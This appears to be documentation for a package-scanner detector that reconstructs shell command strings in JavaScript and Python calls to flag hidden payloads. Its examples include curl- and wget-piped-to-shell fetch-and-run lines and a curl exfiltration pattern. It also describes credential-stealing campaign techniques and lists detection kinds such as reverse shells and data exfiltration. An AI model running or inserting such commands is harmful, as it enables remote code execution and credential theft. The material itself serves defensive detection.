Shell-String Command Execution
ID |
shell_string_command_execution |
Severity |
high |
Resource |
Execution |
Tags |
generic |
Description
This detector reads the command string a program hands to a shell, and reports the suspicious commands it carries.
A detector that matches the literal arguments of a call sees a shell being started and nothing else when the whole behaviour was concatenated into a single operand:
execSync('curl -s https://host/p.sh | sh');
execFileSync('/bin/sh', ['-c', 'curl -s https://host/drop.sh -o /tmp/d.sh && sh /tmp/d.sh']);
spawn('curl -s https://host/o.sh | sh', [], { shell: true });
os.system('curl -s https://host/p.sh | sh')
subprocess.run('wget https://host/x.sh -O- | bash', shell=True)
subprocess.Popen(['/bin/sh', '-c', 'curl -s https://host/o.sh | sh'])
The command string is reconstructed and then read by the same analysis that reads the commands of an installation script, so the behaviour is recognised wherever it was written.
A call that runs a program directly — execFile, spawn without shell: true, a subprocess list
without shell=True — starts no shell and is left alone.
Rationale
Writing the payload into a shell operand costs an attacker nothing and, until this detector, removed it from analysis entirely. It is not a corner case: the same campaign has been observed shipping both spellings of one payload, the direct call convicted and the shell-string one passing as low risk on a first scan of the package.
The command is reconstructed from the expression, so a command assembled from literals, variables and
concatenation resolves. A command that does not fully resolve is reported for the part that did, with
the SHELL_STRING_PARTIAL property set, rather than dropped — the collector host of a command such as
curl -s "http://${VAR}/x?d=$data" is often a constant assigned above the call, and the part that does
resolve is what makes the exfiltration visible.
The shell is not emulated. Redirections, subshells and expansions are left as they are written, and nothing that cannot be resolved statically is guessed at.
Related Malware campaigns
These are some popular campaigns using this technique:
-
Packages published with two builds of the same payload, one calling the cloud metadata service and the secrets-manager CLI directly and one moving the identical logic into a
/bin/sh -cstring. Only the first was convicted before the command string was read, although both reach the same credentials. -
Collector hosts assembled in the shell itself — the recon output piped to
base64and posted to a host held in a shell variable — so that no URL appears anywhere in the package’s code.
Configuration
The detector has the following configurable parameter:
-
command_kinds, the kinds of suspicious command to report. Available values are: -
clipboard_leakage
-
data_exfiltration
-
defense_tool_disabled
-
decoded_code_execution
-
dependency_installation_on_runtime
-
destructive_action
-
downloaded_code_execution
-
file_download
-
obfuscated_code_execution
-
reverse_shell
-
reverse_shell_listener
-
sensitive_data
-
scheduled_task
file_execution is deliberately not among them: an installation hook running a local file is worth
reporting, while in ordinary code every toolchain call is one and the kind says nothing about the file
being run.